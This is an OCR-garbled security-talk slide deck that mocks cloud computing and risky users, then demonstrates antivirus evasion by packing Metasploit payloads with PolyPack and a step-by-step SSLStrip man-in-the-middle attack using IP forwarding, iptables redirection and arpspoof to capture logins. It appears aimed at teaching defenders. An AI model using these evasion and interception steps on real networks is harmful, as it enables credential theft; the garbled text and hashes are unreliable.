The Internet Is Evilll!

And Cloud Computing Does Not Help!
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What is Cloud Computing?

| had to look it up
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Straight to the Wiki!
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shared resources, software and information are provided to
computers and other devices eiemand, like a public
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Based on Vendor Information it looks like it is going to
make me irrelevant



http://en.wikipedia.org/wiki/Internet
http://en.wikipedia.org/wiki/Computing

But What Is 1t?
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It is a paradigm shiftfollowing the mainframe and clierserver shifts that preceded it.
Details are abstracted from the users who no longer have need of,
expertise in, or control over the technology infrastructure'in the cloud" that
supports them.] Cloud computing describes a new supplement, consumption

and delivery model for IT services based on the Interngind it typically involves
the provision of dynamically scalable and often virtualized resources as a service over the

Internet23 |t IS @ byproduct and consequence of the easef-access to
remote computing sites provided by the Internet!4!

The term cloudis used as a metaphor for the Internetoased on the cloud drawing
used in the past to represent the telephone netwétkand later to depict the Internet in computer
network diagrams as an abstraction of the underlying infrastructure it represéhfgpical cloud
computing providers deliver common business applications online which are accessed from a web
browser, while the software and data are stored on servers.




| Am Letting Wikipedia Write All
of My Presentations!

could improve due to centralization of daia,
Increased securitfocused resources, etc., but concerns
can persist about loss of control over certain sensitive
data, and the lack of security for stored kernéis
Security Is often as good as or better than under
traditional systems, in part because providers are able to
devote resources to solving security issues that many
customers cannot afford.” Providers typically log
accesses, but accessing ths themselves can be
difficult or impossible. Furthermore, the complexity of
security is greatly increased when data is distributed over
a wider area and / or number of devices.



http://en.wikipedia.org/wiki/Computer_security
http://en.wikipedia.org/wiki/Cloud_computing
http://en.wikipedia.org/wiki/Cloud_computing
http://en.wikipedia.org/wiki/Cloud_computing
http://en.wikipedia.org/wiki/Audit_log

Looking Forward To
Unemployment?




But Walt !!
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But the Internet is Evil!!
How can this be so?
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Lets set the stage..

We have to know who it is we are working with
Who are the people we are defending?

Who is attacking?
What are their capabilities?
What are their means?

What are the tools we have to defend ourselves?

Who Is on our side?




Your Users
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Security Is not a major concern
They never get into trouble
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attacked.
- No skull and crossbones? Good to go!
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Are they?
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Granny Max

Loves to gamble

Likes Polka Dots
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In it

Thinks the CD tray is a
coaster
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... and Terabytes of Porn!
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Does not get along with
Granny Max

Hates cats

Bypasses your filtering
by using a SSH tunnel
through his home system
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Likes:FacebookYouTube,

Politics, eBay(soogling Fantasy

football, Fark Drudge Report,

the Huffington Post, CNN,
Amazon

Dislikes: Web filters

Quickly becoming friends with
Phil and Gran Max to learn ways
to bypass your filtering




The Bad Guys

Motivated

Can you imagin¢heirHR
department?

Wicked skilled (more on
this later)

They either own or infect
many of the sites your
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are going to

The Bobs
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You just won't believe how
vastly hugely
mindbogginglybig it is...

worthless..
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Yea, about those

Antivirus
Can be bypassed easily

SSL can be use against you
and can be stripped off

IDS/IPS can be bypassed
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QUOTE
VALID FOR
3 MORE
MINUTES




Ninja Evil #1: AV

Last time | was out we bypassed AV with Metasploit
One of you ratted me out
Either that, or | could blame my father..
Lets blame my father

Now 6 out of about 40 AV Vendors consistently catch Metasploit
Virus payloads
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template

But we have covered that
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Polypackis a Ninjas friend

Polypackwill automagiclypack your executable
with 10 packers and check them against 10 major
AV vendors

- You can then download the one that bypasses the
AV of your choice!!!

- The angry calls to AV vendors will continue!!
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PolyPack Results

Summary

SHA-1: 94dbBc5ead448108d775bb7785ecB0b2e506ffa99
Submitted: Sun Jul 19 16:21:11 2009

File Size: 234496 bytes

Current Status: COMPLETE

Comments: N/A
Detection Results

The unpacked binary was detected by 9 out of the 10 antivirus engines.

Packing the binary resulted in decreased detection coverage in 5 cases (Nullsoft, PECompact,
tElock, Themida, Yoda).

The highest evasion was provided by the Themida packer, detected by 1 out of the 10
antivirus engines.




Detailed Results

Unpacked
Detected by 9 out of 10 antivirus engines.
Download link: 94db8c5ead448108d775bb7785ecB0b2e506Ta99.unpacked
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ASPack
Detected by 9 out of 10 antivirus engines.
Download link: 94db8c5ead448108d775bb7785ecB0b2e506ffa99.aspack
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FSG
Detected by 10 out of 10 antivirus engines.
Download link: 94db8c5ea448108d775bb7785ec80b2e506ffa99.fsg
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Themida
Detected by 1 out of 10 antivirus engines.
Download link: 94dbB8c5ea448108d775bb7785ecB0b2e506ffa99.themida
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UPX
Detected by 9 out of 10 antivirus engines.
Download link: 94db8c5ead448108d775bb7785ec80b2e506ffa99.upx
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WinUpack
Detected by 9 out of 10 antivirus engines.
Download link: 94db8c5ea448108d775bb7785ec80b2e506ffa99.winupack
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Ninja Evil #2: SSLStrip

Another great tool from Moxie Marlinspike

This tool strips away SSL from the end user
Hence the name

The HTTPS will become HTTP
No negative feedback to the user

The vast number of users will not notice
Even the very paranoid ones

We need to use a tool likgsniffto hijack the traffic and a
tool likeiptablesto redirect the traffic to wheressistripis
waiting




SSLSt

E:‘-.,cmd.EHE

C:xipconf ig

Vindows 2080 IP Configuration

Ethernet adapter Local Area Connection 4:

Media State . . . . . . . & . . . Cable Disconnected

Ethernet adapter Local Area Connection 3:

Media State . . . . . . . & . . . Cable Disconnected

Ethernet adapter Local Area Connection 2:

Connection—specific DNS Eufflxh
IP Addres=. . . . . . . . . .
Subnet Mask . . . . . . . . . . .
Default Gateway . . . . . . . .

192.168.1.2
255,255 .255.8
192.168.1.1




SSL Strip

= root@Linuxl: /home/john/tools/ssistrip-0.4

File Edit View Terminal Help
root@Linuxl: /home/john/tools/sslstrip-8.4# less README

E root@Linuxl: /home/john/tools/ssistrip-0.4

File Edit View Temminal Help
sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping attacks.

It reguires Python 2.5 or newer.

Installing (optional):
Run 'python setup.py imstall' as root to install.

Running:

sslstrip can be run from the source base without installatiom. Just run
‘python sslstrip.py -h' as a non-root user to get the command-line options.

The four steps to getting this working (assuming you're running Linux) are:

1) Flip your machine inte forwarding mode (as root):
echo "1" = /fproc/sys/net/ipv4/ip forward

2) Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <you
rListenPort>

3) Run sslstrip with the command-line options you'd like (see above).

4) Run arpspoof to redirect traffic to your machine (as root):
arpspoof -1 <yourNetworkdDevice> -t <yourTarget> <theRoutersIpAddress=

More Info:

httE:;fwww.thuuqhtcrime.nrgfﬁnftwarefﬁalstripf




SSLStripiptables

root@Linuxl; ~

File Edit YView Terminal Help
john@Linuxl:~% sudo su -
[sudo] password for john:

root@Linuxl:~# echo "1" > /proc/sys/net/ipv4/ip forward
root@Linuxl:~#

root@Linuxl:~# iptables -t nat -A PREROUTING -p tcp --destination-port 88 -j RED
IRECT --to-port leeoe
root@Linuxl:-#




SSLStriparpspoof

E] root@Linuxl: ~ =R

File Edit View Terminal Help

john@Linuxl:~% sudo su -

[sudo] password for john:

root@Linuxl:~# arpspoof -i eth® -t 192.168.1.2 192.168.1.1
B8:£:29:9:5b:c7 B8:c:29:fd:aa:19 8866 42: arp reply 192.168.1.
cy

@:c:29:9:5b:c7 0:c:29:fd:aa:f9 0806 42: arp reply 192.168.1.
c?

B:¢:29:9:5b:¢c7 B:c:29:fd:aa:f9 8886 42: arp reply .168.1.
cl

B:c:29:9:5b:c7 0:c:29:Td:aa:179 0806 42: arp reply .168.1.
cT

B:c:29:9:5b:c7 B:c:29:fd:aa:f9 0886 42: arp reply .168.1.
ct

B8:¢:29:9:5b:¢c7 B:c:29:fd:aa:19 0886 42: arp reply 2.168.1.
cy

B:€:29:9:5b:c7 0:c:29:fd:aa:f9 08B6 42: arp reply .168.1.
c?

B8:€:29:9:5b:c7 0:c:29:fd:aa:f9 BBBG6 42: arp reply .168.1.
c7




SSLStrip Got one!

root@Linuxl:/home/john/tools/sslstrip-0.4# python ./sslstrip.py

sslstrip ©.4 by Moxie Marlinspike running...
/home/john/tools/sslstrip-8.4/sslstrip/ssLshuffleSocket.py:38: Deprecationwarnin

g: socket.ssl{) is deprecated. Use ssl.wrap socket() instead.

self. sslSocket = socket.ssliself. socket)

Now a user would surf to and try to log
In!



http://gmail.com

SSLStrip Ch'logs




